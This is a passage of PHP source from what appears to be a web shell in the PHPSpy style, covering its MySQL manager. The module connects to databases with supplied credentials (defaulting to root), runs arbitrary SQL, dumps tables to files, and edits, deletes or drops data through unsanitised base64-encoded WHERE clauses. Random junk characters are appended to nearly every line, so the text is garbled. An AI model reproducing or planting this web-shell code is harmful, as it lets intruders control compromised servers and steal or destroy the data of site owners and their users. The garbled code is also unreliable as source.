  670.         makehide('dbuser');" Y) r+ e' K# s6 P
  671.         makehide('dbpass');
    8 m$ \  ^* X0 w
  672.         makehide('dbname');8 {, Z& X# v* m9 p( z* H9 Q
  673.         makehide('charset');
    - u( `1 W6 H1 O% _
  674.         makehide('doing');  G+ r+ C0 l: e: O& R/ a
  675.         makehide('action','sqlfile');) y3 J/ ]8 j" q- o
  676.         p('</form>');. p$ I' M( e  i9 ?$ o
  677. }: |1 M- f/ m. K3 _

  678. - S- A9 h% A0 p( N( [
  679. elseif ($action == 'sqladmin') {
    ! Y. y* @# V! }) S
  680.         !$dbhost && $dbhost = 'localhost';
    ; I8 H" ^9 E% D# T! D/ Z
  681.         !$dbuser && $dbuser = 'root';* ^5 Y" x' N" M" h3 D' |
  682.         !$dbport && $dbport = '3306';
    " a8 K( H( r3 ]2 c, r$ Z; O/ z
  683.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
    ' ~1 A8 ]! |. E7 O# d7 G8 W6 J
  684.         if(isset($dbhost)){0 I7 O8 M# h/ A
  685.                 $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";& }5 g! M7 e2 v2 D
  686.         }
    ' n  a: G& p! R, n4 T5 X# m
  687.         if(isset($dbuser)) {
    . O1 W, R4 ?7 _, Z4 a9 k
  688.                 $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";2 f" ~1 e- r% x4 V; ]; M; q/ |
  689.         }9 g, V4 z2 e8 I  F- g# J1 E. U3 f
  690.         if(isset($dbpass)) {8 a4 v# B' a: }/ \$ K8 o' J* ^
  691.                 $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";% m4 f3 B& h) H7 a8 O4 K' @1 m+ j
  692.         }* V' K8 |) J, n' r
  693.         if(isset($dbport)) {
    9 c% m& i% _! _
  694.                 $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";" R& ]8 S9 z" ^3 q; D0 @* ~8 ~4 I8 E
  695.         }; I) A/ l& j0 F0 R
  696.         if(isset($dbname)) {
    9 Z8 M* z  \$ d) B0 @; ]
  697.                 $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";
    : J  W( ~! I6 ]9 e4 u7 j- l2 k
  698.         }
    ( Q( o9 V3 M( ^! f$ p) }
  699.         if(isset($charset)) {! ~3 T' P' W. o* _9 w
  700.                 $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";
    6 q9 q. l- ^' V8 |2 s5 q
  701.         }$ ^" U- Z7 }" f" _; |+ I0 u8 {

  702. - v5 W$ W- I2 C) H& S" p7 D
  703.         if ($doing == 'backupmysql' && $saveasfile) {
    : F6 X- B( |; O% |4 m( y. I
  704.                 if (!$table) {$ g  N) t6 H8 _. f9 B+ Z. E
  705.                         m('Please choose the table');$ j1 Z4 `0 w2 J' t) j
  706.                 } else {( k0 V( Q/ V( J& U
  707.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);4 q+ o5 _; ^- U3 ]
  708.                         $table = array_flip($table);+ y+ r6 n' ]$ w  |
  709.                         $fp = @fopen($path,'w');+ l* }5 X6 e( g
  710.                         if ($fp) {8 k9 l8 @* s. v" J' n# e0 \
  711.                                 $result = q('SHOW tables');
    , I' g) l, q. C% q+ E5 U8 A
  712.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');
    ; Y/ [4 B+ K  P# X
  713.                                 $mysqldata = '';
    1 G6 f* l) Y% _$ y
  714.                                 while ($currow = mysql_fetch_array($result)) {! Z* v. _9 @6 ]' R. K1 J/ M( g5 B
  715.                                         if (isset($table[$currow[0]])) {
    + a8 n; ]: m, d# N8 D- g
  716.                                                 sqldumptable($currow[0], $fp);8 [7 n2 \6 \8 ^/ D9 k' _
  717.                                         }
    " ^" _. z, I4 V2 K2 I1 }; l7 Z
  718.                                 }
    1 C& U( y; p) j
  719.                                 fclose($fp);9 ]. E8 T: Y3 S, J, f  N. s
  720.                                 $fileurl = str_replace(SA_ROOT,'',$path);
    % H4 w( s3 O& w# Q. C' |
  721.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');+ A, X* y. ^, G! S  H4 ~
  722.                                 mysql_close();
    , T& U$ \) G/ V& j& G- U. T$ m
  723.                         } else {
    * u, B( T2 E' j  \1 P/ m. e
  724.                                 m('Backup failed');4 ~7 r; q' E6 f; {6 O7 j! r" a
  725.                         }
    ' p# ]+ ]7 {4 }3 f; K: z+ |
  726.                 }
    3 K7 B6 W0 x! ^4 \" _5 w" q
  727.         }1 o2 S- g; o8 Q4 p9 N7 X4 e
  728.         if ($insert && $insertsql) {0 ]+ c. M, K- b7 U4 i
  729.                 $keystr = $valstr = $tmp = '';
    & \4 y  M7 p* ]
  730.                 foreach($insertsql as $key => $val) {1 |' n1 c7 Z% t# U; A6 J
  731.                         if ($val) {6 `; [+ D, ~2 [
  732.                                 $keystr .= $tmp.$key;
    . Y) l# h7 Q8 I' `- t
  733.                                 $valstr .= $tmp."'".addslashes($val)."'";6 F' H& t! P3 r7 r! v7 ~- {
  734.                                 $tmp = ',';
    ( `9 N- _8 r. S0 o8 {6 L$ e5 |. [
  735.                         }
    ) `; j1 V& R% ?: b5 a* P5 h! Z: k
  736.                 }
    4 D6 R% o8 S, B* l- m0 a7 ]
  737.                 if ($keystr && $valstr) {0 `7 s' A+ j' N: B/ b- g: V; `
  738.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    # @2 r. ^" A/ D5 E
  739.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());& d, ?: B; L1 y6 g
  740.                 }
    " F! x' D3 ]4 d8 H$ ^$ X
  741.         }. W& D2 K) j* j- r
  742.         if ($update && $insertsql && $base64) {- I/ T+ m% o1 U# i- P, R
  743.                 $valstr = $tmp = '';2 l* p" M" G) A' f/ z8 K
  744.                 foreach($insertsql as $key => $val) {
    " e: G. ^1 n4 w, ~: z
  745.                         $valstr .= $tmp.$key."='".addslashes($val)."'";
    $ s1 P7 n  |; t
  746.                         $tmp = ',';+ o, O  u& U# T( x
  747.                 }
    1 @% Y; y( F6 @! |9 x
  748.                 if ($valstr) {0 s% D$ N: Q" |, H, j& X" {
  749.                         $where = base64_decode($base64);
    6 l! q( F. g: T. u3 H) k
  750.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
      N* l8 ], z# {" d
  751.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());/ z# w5 m" ]! ^' k
  752.                 }1 g. a, A+ L2 C' J6 w0 N
  753.         }1 S( s5 ]1 N; ?3 x$ r% P; W7 ^
  754.         if ($doing == 'del' && $base64) {
    : C0 w- E. R. c
  755.                 $where = base64_decode($base64);
    " p, J# N& }, ^2 k  d  a
  756.                 $delete_sql = "DELETE FROM $tablename WHERE $where";3 A$ A7 @( C. X9 ~6 q( c3 x
  757.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    + `  y6 ]) G& h* b& [# x
  758.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
    2 m0 ?) J! O& i, D. W
  759.         }3 W8 j* Q- K, y8 u# X
  760. 7 d$ j% U+ ^5 C6 [
  761.         if ($tablename && $doing == 'drop') {
    0 p% t. |/ H1 A- G& @, s2 q8 `5 ?0 u
  762.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);% ^" h! I/ ]" E6 ?& L, k' ~
  763.                 if (q("DROP TABLE $tablename")) {
    - `$ G+ }, \) B$ j+ W
  764.                         m('Drop table of success');5 L8 I' P( u2 Z
  765.                         $tablename = '';9 s( J& x4 T6 m& Y# {8 `6 l
  766.                 } else {
    2 h4 @+ [: K& d' L/ j+ D( O
  767.                         m(mysql_error());
    # F: O/ j6 G2 F) ^
  768.                 }( F) |6 Z1 g0 m% u/ n3 x$ K  ^
  769.         }" J3 Q& S- k$ a7 I; P9 Q) a

  770. & h7 H4 u; E; V
  771.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
    ' x5 d& y0 r% K- G' E

  772. 2 w0 e4 G/ Q# H' {
  773.         formhead(array('title'=>'MYSQL Manager'));
    ! p. X- Y1 i1 H$ F+ v+ q6 u, w
  774.         makehide('action','sqladmin');: r8 R1 q, |" p
  775.         p('<p>');) `# q% c5 S) P& [6 ], ~
  776.         p('DBHost:');! X0 W7 f4 r9 a2 w# }
  777.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
    % {+ [- P# w2 j5 X* B3 n0 ~
  778.         p(':');8 c( v; C. ]# m4 G* A, y
  779.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
    ! H2 ?* T) n% P- s/ @
  780.         p('DBUser:');6 L! o9 f% m& Y1 X" P
  781.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
    - W/ e  @% t3 S; U* E+ j
  782.         p('DBPass:');
    9 ?7 a: h% T9 p  z! f: e
  783.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
    * A8 O( C2 o+ g. Q! i
  784.         p('DBCharset:');
    ) j( C' V2 A+ Q. w- }- N
  785.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));$ y9 t3 G) C2 h/ Q$ {: J
  786.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
    7 T& m: S) B2 _3 U/ T7 r3 I1 j# Q
  787.         p('</p>');
    " S/ X2 O7 ]2 m# h- C' @
  788.         formfoot();
    / O: g7 |5 v1 d1 J4 c9 y
  789. ?>5 ]- X5 V3 g9 z: W. ]
  790. <script type="text/javascript">
    2 u8 \- M' r$ U& Y) B4 S$ Z
  791. function editrecord(action, base64, tablename){; Z$ w6 r6 l# r3 y( t6 J
  792.         if (action == 'del') {                - ^* O, A; i+ w
  793.                 if (!confirm('Is or isn\'t deletion record?')) return;0 t, Z! V/ Z/ E  t" }9 S& N
  794.         }
    9 P7 {8 q* B" ]3 K9 l! [
  795.         $('recordlist').doing.value=action;: @) G3 X1 p8 Z5 z
  796.         $('recordlist').base64.value=base64;
    / u* s; Q1 }# `8 p) v
  797.         $('recordlist').tablename.value=tablename;9 A- g9 i8 h+ v* a& E
  798.         $('recordlist').submit();; V' _* |8 [* m' z
  799. }9 k/ A+ W& m6 v8 F; ?
  800. function moddbname(dbname) {: K7 z% [4 {9 t, b4 e) Y+ O# Q
  801.         if(!dbname) return;8 M  {2 r5 O& ~
  802.         $('setdbname').dbname.value=dbname;6 K7 I! `+ ?- ^* s" H
  803.         $('setdbname').submit();' Q) c/ d3 Y3 g, }
  804. }  H/ k+ d! q- c- ?1 T
  805. function settable(tablename,doing,page) {8 W7 n( b& n0 w2 z9 G, }  ?. L
  806.         if(!tablename) return;( }, ~' e+ s1 H
  807.         if (doing) {) i; s) S, W* f0 T, l
  808.                 $('settable').doing.value=doing;) X, q) k9 O, [- v  I4 ?
  809.         }* b8 J9 q/ s. t6 o, H0 V6 l
  810.         if (page) {6 K# P; d/ h  \+ `2 t& H
  811.                 $('settable').page.value=page;1 F( R% D0 g1 U2 |4 Y
  812.         }9 |7 V0 {5 K7 g# V! d: D
  813.         $('settable').tablename.value=tablename;
    * P/ ]1 J+ `( x( f- S$ J( @
  814.         $('settable').submit();
    3 A7 D* B9 K# D, c+ p! |8 x
  815. }0 C7 g9 G9 X) M9 S
  816. </script>. v5 \1 m5 P! J% d4 {) x
  817. <?php
    * z/ K0 I. k/ b+ R- C
  818.         //操作记录
    - v! ?( O( }$ b) R' O
  819.         formhead(array('name'=>'recordlist'));6 w. o: X1 [: ]- `9 w
  820.         makehide('doing');
    / T5 W3 H2 L$ C) m0 d
  821.         makehide('action','sqladmin');
    : d! W7 j4 y; H* k% _5 ^/ T1 P8 v
  822.         makehide('base64');
    ( X% @8 E2 M7 L6 L; g
  823.         makehide('tablename');
    * h( k2 e1 a/ c6 r4 i2 {, D' q
  824.         p($dbform);
    ' K2 W1 x1 L  t% R+ H3 O
  825.         formfoot();
    - ^1 v2 c4 d0 p% M* d
  826.         //选定数据库7 R) P* [7 `" f! L4 c0 {0 g  N
  827.         formhead(array('name'=>'setdbname'));; G$ r: o' G8 Y. p. \  Z- |
  828.         makehide('action','sqladmin');
    3 i$ Y, L) ]+ L; n2 K7 ]/ \# I: I
  829.         p($dbform);3 k; X) \8 y7 Y
  830.         if (!$dbname) {! t8 j- R$ X) L+ U, U% ]3 o
  831.                 makehide('dbname');' z6 D* x) t3 M7 C" r
  832.         }* u+ s) G- f# j8 h: T
  833.         formfoot();) y; C( M- u: D
  834.         //选定表4 V6 L: u9 @2 O( Y: d$ m
  835.         formhead(array('name'=>'settable'));
    % t# o. |& f' H* `$ r9 Z* ?8 \
  836.         makehide('action','sqladmin');8 w$ k+ n" d1 s$ m
  837.         p($dbform);
    5 x( k0 a. W0 v7 p$ ^) F
  838.         makehide('tablename');
    2 J& _7 p) a* I' {. [* k. S
  839.         makehide('page',$page);5 H" k& M3 Y6 s" c" h
  840.         makehide('doing');
    5 `) N7 ?% G5 l" Y- a
  841.         formfoot();
    / J' F" z! T- Q) s$ P" k& P
  842.         $cachetables = array();       
    ) |) K* k9 z# n' }8 r2 t
  843.         $pagenum = 30;
    9 j9 \, }: m, s( a. p" m
  844.         $page = intval($page);' S) q0 |- Q5 q) J
  845.         if($page) {
    ' R1 C% A' w; ^7 F) G
  846.                 $start_limit = ($page - 1) * $pagenum;5 c# r4 k0 ]& H
  847.         } else {! u- x9 M# k( \4 k) |
  848.                 $start_limit = 0;
    6 _7 m. n( r# o+ g8 l* q2 O
  849.                 $page = 1;: C6 K1 N) ]- ]
  850.         }" n' v2 Z& L* h  }/ Z
  851.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
    " z4 v4 o+ ~) f9 E, J$ |6 h7 F( k. g7 M
  852.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);2 O1 C3 w# ?( A- H/ H
  853.                 //获取数据库信息: C* z+ q' i* Q$ v) A
  854.                 $mysqlver = mysql_get_server_info();
    : L$ q7 j' s% P! G
  855.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');: x% j5 h# J. m# t* n
  856.                 $highver = $mysqlver > '4.1' ? 1 : 0;1 l# s: }: o3 M, ^) N* p4 D0 J
  857.                 //获取数据库) _; \7 y6 H! k
  858.                 $query = q("SHOW DATABASES");
    + |9 S- P3 k2 F2 K
  859.                 $dbs = array();
    ' D0 P% x/ [2 B
  860.                 $dbs[] = '-- Select a database --';  I4 U4 _4 H/ n  q" c: V
  861.                 while($db = mysql_fetch_array($query)) {# B: ?  m% I# ^( Y- L3 X( |$ [
  862.                         $dbs[$db['Database']] = $db['Database'];
    6 d5 ^4 O6 n8 ]5 s7 ?- T
  863.                 }$ O6 B6 g! \: L* J6 C( H
  864.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));- l1 `4 e+ O: `4 J- {2 W
  865.                 $tabledb = array();
    & i3 I$ a0 t+ q1 O; i
  866.                 if ($dbname) {
    9 g- m+ |9 b1 k8 v+ c) j3 i' X/ M
  867.                         p('<p>');; y2 N9 K2 g3 [! C' t
  868.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');! c$ Q+ h! h; L6 U: N
  869.                         if ($tablename) {; X: h6 c7 V* @& M3 _0 a
  870.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');$ G# C" H& I# ~, O2 T! P2 x
  871.                         }
    5 g: _  K8 r5 ]# b  H
  872.                         p('</p>');
    ' ~3 s* e  N  P" n5 v8 {
  873.                         mysql_select_db($dbname);- [% ?9 s. ~4 G' X
  874.                         $getnumsql = '';' k( G# t$ g* Q4 O" n
  875.                         $runquery = 0;6 ~( K3 U! o3 \
  876.                         if ($sql_query) {" [; u' M* d# N$ {& `# s) b
  877.                                 $runquery = 1;
    9 ~" p3 O3 @" j
  878.                         }
    ) H4 A/ `/ b* @* n/ _2 L, C* ?
  879.                         $allowedit = 0;9 j2 j& c' N. r! i; f2 Z$ ?
  880.                         if ($tablename && !$sql_query) {  }3 W5 u# X7 x2 p9 y9 I
  881.                                 $sql_query = "SELECT * FROM $tablename";
    - {2 A3 i! z3 U5 K2 E1 q! i0 B
  882.                                 $getnumsql = $sql_query;, O1 p( f' s: d
  883.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
    5 Y% {8 ?4 [* ]; d+ x$ X! P( H
  884.                                 $allowedit = 1;" B7 ^& P3 y' i; P/ ^! j
  885.                         }
    / C3 B6 v& E, w- q6 i: Q
  886.                         p('<form action="'.$self.'" method="POST">');
    3 U9 }  K% ^7 l: Y
  887.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');- F! K4 P: r  Q5 D
  888.                         makehide('tablename', $tablename);
      o1 R' K3 B, `( k4 A- U) c2 [) g
  889.                         makehide('action','sqladmin');- l" k2 w+ s% d# k* x
  890.                         p($dbform);& i; d0 f0 m2 ^+ M
  891.                         p('</form>');
    3 E+ E& M) `+ D! k1 p4 ~
  892.                         if ($tablename || ($runquery && $sql_query)) {
    3 @9 ~$ R3 s. {1 ^4 g
  893.                                 if ($doing == 'structure') {
      _" b" b% P& ~2 F; F7 g
  894.                                         $result = q("SHOW COLUMNS FROM $tablename");
    ) n2 A' \! p. Y+ w, d; L) m
  895.                                         $rowdb = array();
    - O9 u2 B' {: }+ G' O
  896.                                         while($row = mysql_fetch_array($result)) {$ ^0 u, Q% h' d6 C( d7 r1 z
  897.                                                 $rowdb[] = $row;
    7 `+ r  {; R# d! I
  898.                                         }" P6 f" \0 _' ~2 u4 J# |
  899.                                         p('<table border="0" cellpadding="3" cellspacing="0">');" {( P& B0 @" l5 b
  900.                                         p('<tr class="head">');
    / W$ A! R, ~( a- n
  901.                                         p('<td>Field</td>');0 S# Q& E5 N" @7 u0 g) H# _
  902.                                         p('<td>Type</td>');
    , {" a1 ?6 G! L6 W
  903.                                         p('<td>Null</td>');4 v" D) i1 X* }& K4 z% e! s
  904.                                         p('<td>Key</td>');
    9 U  [1 b3 q# j8 m
  905.                                         p('<td>Default</td>');9 o( ~3 b8 P3 I' f  G- p& D
  906.                                         p('<td>Extra</td>');
    ' b. F( T2 D* ?. d; y1 C4 F
  907.                                         p('</tr>');
    & m( k. ^/ J5 h/ V/ j* _% k
  908.                                         foreach ($rowdb as $row) {
    ! ?/ a; J" {, a0 w
  909.                                                 $thisbg = bg();
    ' d; B+ O9 T/ ], v
  910.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');4 P9 t9 B4 X8 e/ f
  911.                                                 p('<td>'.$row['Field'].'</td>');" N" W) q  i  m+ f; y5 O; O( G4 S( d
  912.                                                 p('<td>'.$row['Type'].'</td>');$ }0 g3 e$ e! b0 x3 K
  913.                                                 p('<td>'.$row['Null'].' </td>');2 k0 _6 ]$ d5 l" u& ~- [$ O1 i0 P
  914.                                                 p('<td>'.$row['Key'].' </td>');
    8 q7 o# A  w% m' B2 k/ X( w
  915.                                                 p('<td>'.$row['Default'].' </td>');, F0 ^# W' r3 t! X9 O
  916.                                                 p('<td>'.$row['Extra'].' </td>');0 U% `5 j8 R7 b
  917.                                                 p('</tr>');
    6 N1 M: r$ i+ f9 H2 z& P% R6 k
  918.                                         }
    , x/ f2 s. Y( G+ R8 W" v/ W( [
  919.                                         tbfoot();) U7 g* l/ H1 m/ _
  920.                                 } elseif ($doing == 'insert' || $doing == 'edit') {
    & x0 f" f2 [$ V8 i9 q: O
  921.                                         $result = q('SHOW COLUMNS FROM '.$tablename);6 T5 M/ e5 b6 _/ L/ f9 w1 l+ I" H
  922.                                         while ($row = mysql_fetch_array($result)) {3 k: x5 M5 ]" A' e* q; v! t
  923.                                                 $rowdb[] = $row;
    0 C  V' u5 C3 w0 u1 R
  924.                                         }* q. u9 x8 ?% }$ [2 A' V
  925.                                         $rs = array();
    2 S" d% Z, Y7 w, x& d- u9 ], J, y- {
  926.                                         if ($doing == 'insert') {
    ( C5 c8 m& I7 j
  927.                                                 p('<h2>Insert new line in '.$tablename.' table »</h2>');
    " }. E) @9 u; i1 m8 }# ?1 _! A1 D
  928.                                         } else {
    6 {2 O$ E8 w$ @
  929.                                                 p('<h2>Update record in '.$tablename.' table »</h2>');# i* u' p" R1 d1 W# p
  930.                                                 $where = base64_decode($base64);
    / I0 P' ]; ]& Q7 u: [6 ]8 ~* |2 x
  931.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
    7 l6 Q) S5 |0 @& [# Q
  932.                                                 $rs = mysql_fetch_array($result);
    7 G2 ]' n+ U6 n$ w4 l- [1 W8 M8 n
  933.                                         }  ^. O8 O5 B- |+ c6 L5 A0 s9 y
  934.                                         p('<form method="post" action="'.$self.'">');; u/ B- _, ~3 L. |+ i% l
  935.                                         p($dbform);
    7 k+ ~& j5 \  V0 P  L7 L# ]
  936.                                         makehide('action','sqladmin');
    ; K' n7 C8 z- K  u
  937.                                         makehide('tablename',$tablename);
    $ h: a* U) }; s
  938.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
    2 k% n; y8 B: _* ]( l
  939.                                         foreach ($rowdb as $row) {: G" ^% i% f2 N6 K. E- j5 A/ r0 g
  940.                                                 if ($rs[$row['Field']]) {
    " `( @  p2 Y) u8 o7 a8 j% m
  941.                                                         $value = htmlspecialchars($rs[$row['Field']]);. J+ X4 q3 L% H0 n
  942.                                                 } else {
    / {$ M9 g' [/ O3 K" ~6 V( k+ D' P
  943.                                                         $value = '';. h' w3 L0 M% N+ Z; V
  944.                                                 }
    - @4 b( I  \6 q3 x2 c3 |
  945.                                                 $thisbg = bg();
    " o1 x/ s' B0 L* h" ^* w6 A
  946.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');! U/ v' H9 C/ l7 p% L0 a. X
  947.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');0 F; n$ F# U! L: F
  948.                                         }" M1 i! I* t! |0 {$ x
  949.                                         if ($doing == 'insert') {! n; h& L) T1 Q; M( c$ {
  950.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
    ( Y8 q; u4 b2 p% O. G8 I9 h
  951.                                         } else {
    & n: X' Q0 @0 ^3 @; Y
  952.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');( l! w) e3 d7 }' E. r
  953.                                                 makehide('base64', $base64);: Y( |: S7 n, D; `# }% a: g
  954.                                         }
    . E. L" k  c" V4 P
  955.                                         p('</table></form>');  F; m; \0 K6 t" K5 m7 w' }# T) D" g
  956.                                 } else {/ e2 F' i' r7 N1 n: o! V
  957.                                         $querys = @explode(';',$sql_query);
    $ r7 r- g) F1 s; Y
  958.                                         foreach($querys as $num=>$query) {  ^, s( D% Z" ^3 g
  959.                                                 if ($query) {
    ! j9 H- Y; \& M' ~$ q
  960.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
      h& R6 y7 ~( |3 l; Z: A6 y
  961.                                                         switch(qy($query))
    8 p5 A3 v% G. F- S' i
  962.                                                         {( e3 D# s0 e+ |! \
  963.                                                                 case 0:1 l  V# j* j* ]/ e& e
  964.                                                                         p('<h2>Error : '.mysql_error().'</h2>');
    * ~/ `; i& j; N* A; G5 b4 N& {- C8 U
  965.                                                                         break;        5 V9 O$ t9 }' ]( D
  966.                                                                 case 1:8 G0 D3 i- L  L6 m
  967.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {
    ' K, M: M9 w# h" q3 f6 X4 q/ T
  968.                                                                                 $allowedit = 1;
    . s8 F, i  t* `) w( j! W) r
  969.                                                                         }; X9 i# U# y0 q; R
  970.                                                                         if ($getnumsql) {/ {6 q' r5 W) [7 m9 l7 g6 X
  971.                                                                                 $tatol = mysql_num_rows(q($getnumsql));
    9 L# d" Y9 j  g% b2 q
  972.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);
    3 W# s" Y1 z& O- P) y; L
  973.                                                                         }
    ' [+ ~; {2 q$ U' e% Y
  974.                                                                         if (!$tablename) {
    , T" y* f8 s2 Z
  975.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));# a: d. i$ U9 w
  976.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
    3 t" x$ L) |. t; t8 Z* Y
  977.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
    # U3 ~" E: X$ F3 G3 v
  978.                                                                                 $tablename = $matches[1][0];+ p2 _( D. f6 \+ X( p7 x
  979.                                                                         }
    6 v: z  ~- R! C! m: W9 ~8 t- z, P8 S+ K+ l
  980.                                                                         $result = q($query);
    # q- e  T$ A1 X+ E+ y
  981.                                                                         p($multipage);: E# y: ]$ O- v" J6 l0 `
  982.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');2 N/ E0 w  w  z1 @% O: b
  983.                                                                         p('<tr class="head">');
    $ Y. J" ~; @2 f! _
  984.                                                                         if ($allowedit) p('<td>Action</td>');
    7 Y; B) _% c9 t
  985.                                                                         $fieldnum = @mysql_num_fields($result);
    ; @  B- ?) w9 x& u) }6 E. C
  986.                                                                         for($i=0;$i<$fieldnum;$i++){( l7 H3 s& ^. m8 r& B9 q) |: i
  987.                                                                                 $name = @mysql_field_name($result, $i);
    $ o/ Q5 Y) s1 M9 m  y  }+ x$ L
  988.                                                                                 $type = @mysql_field_type($result, $i);# ?) N2 u, W7 p+ z
  989.                                                                                 $len = @mysql_field_len($result, $i);7 l( E1 k9 \) g1 z3 l6 ?
  990.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");' x+ M2 y; j$ u. T; v0 {. D
  991.                                                                         }
    0 c5 J, I3 C( F
  992.                                                                         p('</tr>');
    2 F5 }% r2 z" q/ P
  993.                                                                         while($mn = @mysql_fetch_assoc($result)){
    / E: O* l+ N7 \5 y" B/ l
  994.                                                                                 $thisbg = bg();
      W1 o; |* r  o- |9 e
  995.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    5 u" L. q6 w) y
  996.                                                                                 $where = $tmp = $b1 = '';# ]6 f8 g1 d- j0 u% f+ b: X5 F1 u; U
  997.                                                                                 foreach($mn as $key=>$inside){
    * @4 L2 P$ t( @1 K
  998.                                                                                         if ($inside) {, V/ }# X% P+ ]( [
  999.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";7 v! ~6 }+ N/ I) t
  1000.                                                                                                 $tmp = ' AND ';
      [; s7 A# [7 P3 I  t0 G
  1001.                                                                                         }/ T5 h' b' x5 Z, w
  1002.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).' </td>';0 U! B5 c# m7 X" W: P7 B
  1003.                                                                                 }
    ; i& T' Y( a8 l4 v
  1004.                                                                                 $where = base64_encode($where);
    2 m# r. a+ M( \* m# K0 m1 `
  1005.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
    , ^) [! I5 ?- D7 C3 D0 Z
  1006.                                                                                 p($b1);; C: b, G3 b: o" g% j) t
  1007.                                                                                 p('</tr>');
    ; Y2 x7 b8 [: Y( X
  1008.                                                                                 unset($b1);
    ) d, K4 R- z/ }+ y" g( {2 j
  1009.                                                                         }
    & H9 |  ^/ B0 D. ~8 s0 G
  1010.                                                                         tbfoot();6 e, ]& ~" B' G" V1 t" o% Y
  1011.                                                                         p($multipage);
    5 x# k) Q3 z# r* Q
  1012.                                                                         break;       
    3 K' J- M4 J7 w7 L  D
  1013.                                                                 case 2:' n2 X$ `; e* m
  1014.                                                                         $ar = mysql_affected_rows();; Z% y" }9 z' l1 E
  1015.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');6 f- d" Y. \% N. R: o7 [( _
  1016.                                                                         break;
    8 g+ v; c' w& x3 @
  1017.                                                         }" K) p7 j9 w# e7 W$ ?9 r) v/ ]8 C
  1018.                                                 }: t5 M0 D# E" N7 I: I) t5 K" C7 w9 {4 o4 u
  1019.                                         }( C7 i2 _' m# S1 [
  1020.                                 }% b7 E+ u1 G5 j5 o! s5 o, R2 t' M
